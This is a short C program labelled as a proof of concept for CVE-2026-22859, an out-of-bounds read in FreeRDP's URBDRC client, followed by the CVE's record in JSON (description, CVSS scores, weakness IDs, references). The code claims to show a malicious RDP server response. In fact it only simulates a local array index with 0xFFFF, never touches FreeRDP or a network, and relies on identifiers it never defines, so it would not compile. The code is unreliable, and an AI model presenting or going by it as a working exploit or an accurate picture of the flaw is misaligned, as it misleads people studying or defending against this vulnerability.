CVE-2026-22859

// CVE-2026-22859 PoC - Malicious RDP Server Response // This PoC demonstrates the out-of-bounds read in FreeRDP URBDRC client #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated MSUSB_INTERFACE_DESCRIPTOR with malicious index struct MSUSB_INTERFACE_DESCRIPTOR { uint8_t bInterfaceNumber; uint8_t bAlternateSetting; uint8_t bNumEndpoints; uint8_t bInterfaceClass; uint16_t wInterfaceIndex; // Malicious value - out of bounds }; // Malicious descriptor that triggers OOB read struct MSUSB_INTERFACE_DESCRIPTOR malicious_descriptor = { .bInterfaceNumber = 0x01, .bAlternateSetting = 0x00, .bNumEndpoints = 0x02, .bInterfaceClass = 0xFF, .wInterfaceIndex = 0xFFFF // Out of bounds index }; // Vulnerable function - no bounds checking void libusb_udev_complete_msconfig_setup(uint16_t interface_index) { // OOB read: interface_index used directly without validation void* endpoint = endpoint_array[interface_index]; // Trigger OOB read if (endpoint) { process_usb_endpoint(endpoint); } } int main() { printf("CVE-2026-22859 PoC\n"); printf("FreeRDP URBDRC OOB Read in MSUSB_INTERFACE_DESCRIPTOR\n"); // Trigger the vulnerable code path libusb_udev_complete_msconfig_setup(malicious_descriptor.wInterfaceIndex); return 0; }

{"cve": {"id": "CVE-2026-22859", "sourceIdentifier": "[email protected]", "published": "2026-01-14T18:16:43.657", "lastModified": "2026-01-20T18:31:47.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, the URBDRC client does not perform bounds checking on server‑supplied MSUSB_INTERFACE_DESCRIPTOR values and uses them as indices in libusb_udev_complete_msconfig_setup, causing an out‑of‑bounds read. This vulnerability is fixed in 3.20.1."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la versión 3.20.1, el cliente URBDRC no realiza comprobación de límites en los valores MSUSB_INTERFACE_DESCRIPTOR proporcionados por el servidor y los utiliza como índices en libusb_udev_complete_msconfig_setup, causando una lectura fuera de límites. Esta vulnerabilidad está corregida en la versión 3.20.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-129"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.20.1", "matchCriteriaId": "1C802721-4198-476F-AE9E-78457C1CE38B"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/releases/tag/3.20.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-56f5-76qv-2r36", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}